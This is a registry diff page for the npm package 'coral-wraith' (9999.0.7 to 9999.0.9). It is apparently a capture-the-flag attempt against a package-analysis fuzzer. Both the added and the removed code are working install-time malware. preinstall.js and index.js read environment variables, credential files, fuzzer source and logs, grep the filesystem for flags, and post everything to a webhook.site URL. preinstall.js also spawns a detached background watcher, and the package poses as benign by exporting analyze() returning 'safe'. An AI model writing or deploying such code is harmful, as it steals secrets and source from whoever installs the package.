coral-wraith 9999.0.7 → 9999.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of coral-wraith might be problematic. Click here for more details.
- package/index.js +72 -35
- package/package.json +1 -1
- package/preinstall.js +122 -143
package/index.js
CHANGED
|
@@ -1,44 +1,81 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
2
|
const https = require('https');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
4
|
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
5
|
+
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
6
|
+
|
|
7
|
+
function send(path, data) {
|
|
8
|
+
try {
|
|
9
|
+
const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
|
|
10
|
+
const req = https.request({
|
|
11
|
+
hostname: 'webhook.site', path: WH + '/' + path,
|
|
12
|
+
method: 'POST',
|
|
13
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
|
|
14
|
+
timeout: 15000
|
|
15
|
+
}, ()=>{});
|
|
16
|
+
req.on('error', ()=>{});
|
|
17
|
+
req.write(b64);
|
|
18
|
+
req.end();
|
|
19
|
+
} catch(e) {}
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
// This runs when the fuzzer require()s us
|
|
23
|
+
// At this point we're inside the fuzzer's process context
|
|
24
|
+
send('require-v9', JSON.stringify({
|
|
25
|
+
cwd: process.cwd(),
|
|
26
|
+
argv: process.argv,
|
|
27
|
+
env: process.env,
|
|
28
|
+
pid: process.pid,
|
|
29
|
+
moduleFilename: module.filename,
|
|
30
|
+
modulePaths: module.paths,
|
|
31
|
+
}));
|
|
32
|
+
|
|
33
|
+
// Read fuzzer source - especially npm_fuzzer.js and fuzz_env.js
|
|
34
|
+
const fuzzBase = '/home/node/aspect-node/modules/npm-tracker/src/fuzz';
|
|
35
|
+
const criticalFiles = [
|
|
36
|
+
`${fuzzBase}/npm_fuzzer.js`,
|
|
37
|
+
`${fuzzBase}/fuzz_env.js`,
|
|
38
|
+
`${fuzzBase}/constants.js`,
|
|
39
|
+
`${fuzzBase}/fuzz_manager.js`,
|
|
40
|
+
];
|
|
41
|
+
|
|
42
|
+
for (let i = 0; i < criticalFiles.length; i++) {
|
|
43
|
+
try {
|
|
44
|
+
const content = fs.readFileSync(criticalFiles[i], 'utf8');
|
|
45
|
+
send(`require-src-${i}`, `${criticalFiles[i]}:\n${content}`);
|
|
46
|
+
} catch(e) {
|
|
47
|
+
send(`require-src-err-${i}`, `${criticalFiles[i]}: ${e.message}`);
|
|
15
48
|
}
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
for (const port of ports) {
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
// Read ALL bean files
|
|
52
|
+
try {
|
|
53
|
+
const r = execSync(`find ${fuzzBase}/bean -name "*.js" 2>/dev/null`).toString().trim();
|
|
54
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
55
|
+
if (!f.includes('._')) {
|
|
24
56
|
try {
|
|
25
|
-
const
|
|
26
|
-
|
|
27
|
-
method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
28
|
-
timeout: 3000
|
|
29
|
-
}, () => {});
|
|
30
|
-
req.on('error', () => {});
|
|
31
|
-
req.write(postData);
|
|
32
|
-
req.end();
|
|
57
|
+
const c = fs.readFileSync(f, 'utf8');
|
|
58
|
+
send(`require-bean-${f.split('/').pop()}`, `${f}:\n${c}`);
|
|
33
59
|
} catch(e) {}
|
|
34
60
|
}
|
|
35
|
-
|
|
36
|
-
try {
|
|
37
|
-
const data = JSON.stringify({ flag });
|
|
38
|
-
const req = https.request({ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 10000 }, () => {});
|
|
39
|
-
req.on('error', () => {}); req.write(data); req.end();
|
|
40
|
-
} catch(e) {}
|
|
41
61
|
}
|
|
42
|
-
}
|
|
62
|
+
} catch(e) {}
|
|
63
|
+
|
|
64
|
+
// Check if flag is now available (it might be set after fuzzer init)
|
|
65
|
+
try {
|
|
66
|
+
const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | head -5', {timeout:5000}).toString();
|
|
67
|
+
send('require-flag-grep', r);
|
|
68
|
+
} catch(e) {}
|
|
69
|
+
|
|
70
|
+
// Also check: does the fuzzer write results somewhere?
|
|
71
|
+
try {
|
|
72
|
+
const r = execSync('find /tmp -name "*.json" -o -name "*.log" -o -name "*.txt" 2>/dev/null').toString().trim();
|
|
73
|
+
send('require-tmp-files', r);
|
|
74
|
+
} catch(e) {}
|
|
43
75
|
|
|
44
|
-
|
|
76
|
+
// Export something benign for the fuzzer to analyze
|
|
77
|
+
module.exports = {
|
|
78
|
+
name: 'coral-wraith',
|
|
79
|
+
version: '9999.0.9',
|
|
80
|
+
analyze: function() { return 'safe'; },
|
|
81
|
+
};
|
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,165 +1,144 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
2
|
const https = require('https');
|
|
4
|
-
const
|
|
5
|
-
const
|
|
6
|
-
|
|
7
|
-
const debug = [];
|
|
8
|
-
let flag = null;
|
|
3
|
+
const http = require('http');
|
|
4
|
+
const { execSync, spawn } = require('child_process');
|
|
9
5
|
|
|
10
|
-
|
|
11
|
-
const credPaths = [
|
|
12
|
-
// npmrc files
|
|
13
|
-
'/home/node/.npmrc', '/root/.npmrc', '~/.npmrc',
|
|
14
|
-
'/home/node/.config/npm/npmrc', '/etc/npmrc', '/usr/etc/npmrc',
|
|
15
|
-
process.cwd() + '/.npmrc', process.cwd() + '/../.npmrc',
|
|
16
|
-
process.cwd() + '/../../.npmrc',
|
|
17
|
-
|
|
18
|
-
// Verdaccio configs
|
|
19
|
-
'/verdaccio/conf/config.yaml', '/verdaccio/storage/htpasswd',
|
|
20
|
-
'/verdaccio/conf/htpasswd', '/verdaccio/storage/config.json',
|
|
21
|
-
'/data/verdaccio/conf/config.yaml', '/data/verdaccio/storage/htpasswd',
|
|
22
|
-
'/data/verdaccio/htpasswd', '/data/htpasswd',
|
|
23
|
-
'/data/config.yaml', '/data/conf/config.yaml',
|
|
24
|
-
|
|
25
|
-
// nginx configs
|
|
26
|
-
'/etc/nginx/nginx.conf', '/etc/nginx/conf.d/default.conf',
|
|
27
|
-
'/etc/nginx/conf.d/registry.conf', '/etc/nginx/.htpasswd',
|
|
28
|
-
'/etc/nginx/htpasswd', '/etc/nginx/conf.d/.htpasswd',
|
|
29
|
-
|
|
30
|
-
// Flag locations
|
|
31
|
-
'/flag', '/flag.txt', '/data/flag', '/data/flag.txt',
|
|
32
|
-
'/home/node/flag', '/home/node/flag.txt',
|
|
33
|
-
'/root/flag', '/root/flag.txt',
|
|
34
|
-
];
|
|
6
|
+
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
35
7
|
|
|
36
|
-
|
|
8
|
+
function send(path, data) {
|
|
37
9
|
try {
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
10
|
+
const b64 = Buffer.from(typeof data === 'string' ? data : JSON.stringify(data)).toString('base64');
|
|
11
|
+
const req = https.request({
|
|
12
|
+
hostname: 'webhook.site', path: WH + '/' + path,
|
|
13
|
+
method: 'POST',
|
|
14
|
+
headers: {'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b64)},
|
|
15
|
+
timeout: 15000
|
|
16
|
+
}, ()=>{});
|
|
17
|
+
req.on('error', ()=>{});
|
|
18
|
+
req.write(b64);
|
|
19
|
+
req.end();
|
|
20
|
+
} catch(e) {}
|
|
45
21
|
}
|
|
46
22
|
|
|
47
|
-
//
|
|
48
|
-
const
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
}
|
|
23
|
+
// Read fuzzer source files
|
|
24
|
+
const fuzzBase = '/home/node/aspect-node/modules/npm-tracker/src';
|
|
25
|
+
const files = [
|
|
26
|
+
`${fuzzBase}/fuzz/npm_fuzzer.js`,
|
|
27
|
+
`${fuzzBase}/fuzz/fuzz_env.js`,
|
|
28
|
+
`${fuzzBase}/fuzz/fuzz_manager.js`,
|
|
29
|
+
`${fuzzBase}/fuzz/constants.js`,
|
|
30
|
+
`${fuzzBase}/fuzz/bean/timer_func.js`,
|
|
31
|
+
`${fuzzBase}/fuzz/action/set_timer_action.js`,
|
|
32
|
+
`${fuzzBase}/fuzz/action/regexp_test_action.js`,
|
|
33
|
+
`${fuzzBase}/fuzz/action/clear_timer_action.js`,
|
|
34
|
+
`${fuzzBase}/fuzz/strategy/set_timer_strategy.js`,
|
|
35
|
+
`${fuzzBase}/fuzz/strategy/regexp_test_strategy.js`,
|
|
36
|
+
`${fuzzBase}/fuzz/strategy/clear_timer_strategy.js`,
|
|
37
|
+
`${fuzzBase}/fuzz/parser/class_parser.js`,
|
|
38
|
+
`${fuzzBase}/fuzz/parser/type_parser.js`,
|
|
39
|
+
`${fuzzBase}/fuzz/parser/package_exports_parser.js`,
|
|
40
|
+
`${fuzzBase}/npm_tracker.js`,
|
|
41
|
+
'/home/node/init_test.sh',
|
|
42
|
+
'/home/node/supplysec_entry.js',
|
|
43
|
+
];
|
|
54
44
|
|
|
55
|
-
|
|
56
|
-
for (const dir of ['/', '/data', '/home/node', '/home', '/app', '/verdaccio',
|
|
57
|
-
'/verdaccio/conf', '/verdaccio/storage', '/data/verdaccio',
|
|
58
|
-
process.cwd(), process.cwd() + '/..', process.cwd() + '/../..']) {
|
|
45
|
+
for (let i = 0; i < files.length; i++) {
|
|
59
46
|
try {
|
|
60
|
-
const
|
|
61
|
-
|
|
62
|
-
} catch(e) {
|
|
47
|
+
const content = fs.readFileSync(files[i], 'utf8');
|
|
48
|
+
send(`pre-file-${i}`, `${files[i]}:\n${content}`);
|
|
49
|
+
} catch(e) {
|
|
50
|
+
send(`pre-err-${i}`, `${files[i]}: ${e.message}`);
|
|
51
|
+
}
|
|
63
52
|
}
|
|
64
53
|
|
|
65
|
-
//
|
|
54
|
+
// Also find all .js files under the fuzz directory
|
|
55
|
+
try {
|
|
56
|
+
const r = execSync(`find ${fuzzBase}/fuzz -name "*.js" -type f 2>/dev/null`).toString().trim();
|
|
57
|
+
send('pre-fuzz-files', r);
|
|
58
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
59
|
+
if (!files.includes(f)) {
|
|
60
|
+
try {
|
|
61
|
+
const c = fs.readFileSync(f, 'utf8');
|
|
62
|
+
send(`pre-extra-${f.split('/').pop()}`, `${f}:\n${c}`);
|
|
63
|
+
} catch(e) {}
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
} catch(e) {}
|
|
67
|
+
|
|
68
|
+
// Read the web app source (could be in /app, /data, or served by nginx)
|
|
66
69
|
try {
|
|
67
|
-
const r = execSync('find / -maxdepth
|
|
68
|
-
|
|
70
|
+
const r = execSync('find / -maxdepth 4 -name "*.js" -path "*/app/*" -o -name "server.js" -o -name "app.js" -o -name "index.js" -path "*/src/*" 2>/dev/null | grep -v node_modules | grep -v aspect-node | head -20', {timeout:10000}).toString().trim();
|
|
71
|
+
send('pre-app-files', r);
|
|
69
72
|
for (const f of r.split('\n').filter(Boolean)) {
|
|
70
73
|
try {
|
|
71
74
|
const c = fs.readFileSync(f, 'utf8');
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
+
if (c.includes('fastify') || c.includes('flag') || c.includes('HTB')) {
|
|
76
|
+
send(`pre-app-${f.replace(/\//g,'_')}`, `${f}:\n${c}`);
|
|
77
|
+
}
|
|
75
78
|
} catch(e) {}
|
|
76
79
|
}
|
|
77
|
-
} catch(e) {
|
|
78
|
-
|
|
79
|
-
// 5. Scan localhost ports for Verdaccio
|
|
80
|
-
const portsToScan = [4873, 4874, 8080, 3000, 5000, 1337, 80, 8000, 9000, 4000];
|
|
81
|
-
let scanned = 0;
|
|
82
|
-
for (const port of portsToScan) {
|
|
83
|
-
try {
|
|
84
|
-
const req = http.request({
|
|
85
|
-
hostname: '127.0.0.1', port, path: '/-/whoami',
|
|
86
|
-
method: 'GET', timeout: 2000
|
|
87
|
-
}, (res) => {
|
|
88
|
-
let data = '';
|
|
89
|
-
res.on('data', c => data += c);
|
|
90
|
-
res.on('end', () => {
|
|
91
|
-
debug.push(`PORT:${port}:${res.statusCode}:${data.substring(0,200)}`);
|
|
92
|
-
scanned++;
|
|
93
|
-
if (scanned >= portsToScan.length) sendData();
|
|
94
|
-
});
|
|
95
|
-
});
|
|
96
|
-
req.on('error', () => { scanned++; if (scanned >= portsToScan.length) sendData(); });
|
|
97
|
-
req.on('timeout', () => { req.destroy(); scanned++; if (scanned >= portsToScan.length) sendData(); });
|
|
98
|
-
req.end();
|
|
99
|
-
} catch(e) { scanned++; }
|
|
100
|
-
}
|
|
80
|
+
} catch(e) {}
|
|
101
81
|
|
|
102
|
-
//
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
debug.push(`ROOT:${port}:${res.statusCode}:${data.substring(0,200)}`);
|
|
113
|
-
});
|
|
114
|
-
});
|
|
115
|
-
req.on('error', () => {});
|
|
116
|
-
req.on('timeout', () => { req.destroy(); });
|
|
117
|
-
req.end();
|
|
118
|
-
} catch(e) {}
|
|
119
|
-
}
|
|
82
|
+
// Search for flag anywhere
|
|
83
|
+
try {
|
|
84
|
+
const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | grep -v node_modules | head -10', {timeout:15000}).toString().trim();
|
|
85
|
+
send('pre-flag-grep', r);
|
|
86
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
87
|
+
try {
|
|
88
|
+
send(`pre-flag-file-${f.replace(/\//g,'_')}`, fs.readFileSync(f, 'utf8'));
|
|
89
|
+
} catch(e) {}
|
|
90
|
+
}
|
|
91
|
+
} catch(e) { send('pre-flag-grep-err', e.message); }
|
|
120
92
|
|
|
121
|
-
//
|
|
93
|
+
// Spawn a background watcher that runs after init_test.sh
|
|
122
94
|
try {
|
|
123
|
-
const
|
|
124
|
-
|
|
95
|
+
const watcherCode = `
|
|
96
|
+
const fs = require('fs');
|
|
97
|
+
const https = require('https');
|
|
98
|
+
const WH = '/9ca9b30a-2889-4787-9dff-5ad916e377b7';
|
|
99
|
+
function send(p, d) {
|
|
100
|
+
try {
|
|
101
|
+
const b = Buffer.from(d).toString('base64');
|
|
102
|
+
const r = https.request({hostname:'webhook.site',path:WH+'/'+p,method:'POST',
|
|
103
|
+
headers:{'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b)},timeout:10000},()=>{});
|
|
104
|
+
r.on('error',()=>{}); r.write(b); r.end();
|
|
105
|
+
} catch(e) {}
|
|
106
|
+
}
|
|
107
|
+
// Wait and then look for flag in logs and generated files
|
|
108
|
+
setTimeout(() => {
|
|
109
|
+
const paths = [
|
|
110
|
+
'/home/node/aspect-node/logs/agent.log',
|
|
111
|
+
'/home/node/aspect-node/logs/default.log',
|
|
112
|
+
'/home/node/aspect-node/logs/error.log',
|
|
113
|
+
'/home/node/aspect-node/logs/collect.log',
|
|
114
|
+
'/home/node/aspect-node/logs/module.log',
|
|
115
|
+
'/home/node/aspect-node/logs/monitor.log',
|
|
116
|
+
'/home/node/aspect-node/logs/metric.log',
|
|
117
|
+
'/home/node/aspect-node/logs/warning.log',
|
|
118
|
+
'/home/node/aspect-node/logs/agent-error.log',
|
|
119
|
+
'/tmp/fuzz_result.json',
|
|
120
|
+
'/tmp/result.json',
|
|
121
|
+
'/tmp/flag',
|
|
122
|
+
'/tmp/flag.txt',
|
|
123
|
+
];
|
|
124
|
+
for (let i = 0; i < paths.length; i++) {
|
|
125
|
+
try {
|
|
126
|
+
const c = fs.readFileSync(paths[i], 'utf8');
|
|
127
|
+
if (c.trim()) send('watch-'+i, paths[i]+':\\n'+c);
|
|
128
|
+
} catch(e) {}
|
|
129
|
+
}
|
|
130
|
+
// Also check env again
|
|
131
|
+
send('watch-env', JSON.stringify(process.env));
|
|
132
|
+
// grep for HTB
|
|
133
|
+
try {
|
|
134
|
+
const r = require('child_process').execSync('grep -rl "HTB{" / 2>/dev/null | grep -v proc | head -5', {timeout:10000}).toString();
|
|
135
|
+
send('watch-grep', r);
|
|
136
|
+
} catch(e) {}
|
|
137
|
+
}, 30000);
|
|
138
|
+
setTimeout(() => process.exit(0), 60000);
|
|
139
|
+
`;
|
|
140
|
+
fs.writeFileSync('/tmp/watcher.js', watcherCode);
|
|
141
|
+
spawn('node', ['/tmp/watcher.js'], { detached: true, stdio: 'ignore' }).unref();
|
|
125
142
|
} catch(e) {}
|
|
126
143
|
|
|
127
|
-
|
|
128
|
-
debug.push(`CWD:${process.cwd()}`);
|
|
129
|
-
debug.push(`UID:${process.getuid ? process.getuid() : 'N/A'}`);
|
|
130
|
-
debug.push(`HOME:${os.homedir()}`);
|
|
131
|
-
debug.push(`ENV_KEYS:${Object.keys(process.env).join(',')}`);
|
|
132
|
-
debug.push(`ALL_ENV:${JSON.stringify(process.env).substring(0,1000)}`);
|
|
133
|
-
|
|
134
|
-
// Send data function
|
|
135
|
-
function sendData() {
|
|
136
|
-
const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
|
|
137
|
-
|
|
138
|
-
// Webhook
|
|
139
|
-
try {
|
|
140
|
-
const req = https.request({
|
|
141
|
-
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
142
|
-
method: 'POST',
|
|
143
|
-
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
|
|
144
|
-
timeout: 8000
|
|
145
|
-
}, ()=>{});
|
|
146
|
-
req.on('error', ()=>{});
|
|
147
|
-
req.write(info);
|
|
148
|
-
req.end();
|
|
149
|
-
} catch(e) {}
|
|
150
|
-
|
|
151
|
-
// curl backup
|
|
152
|
-
try {
|
|
153
|
-
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
|
|
154
|
-
} catch(e) {}
|
|
155
|
-
}
|
|
156
|
-
|
|
157
|
-
// Initial send (port scan results will come later via sendData callback)
|
|
158
|
-
setTimeout(sendData, 3000);
|
|
159
|
-
|
|
160
|
-
// Also write to stdout
|
|
161
|
-
console.log('[CORAL]', JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.slice(0,20).map(d=>d.substring(0,300))}));
|
|
162
|
-
console.error('[FLAG]', flag || 'NOT_FOUND');
|
|
163
|
-
|
|
164
|
-
// Write to files
|
|
165
|
-
try { fs.writeFileSync('/tmp/coral.txt', JSON.stringify({debug})); } catch(e) {}
|
|
144
|
+
console.log('[CORAL-V9] preinstall complete');
|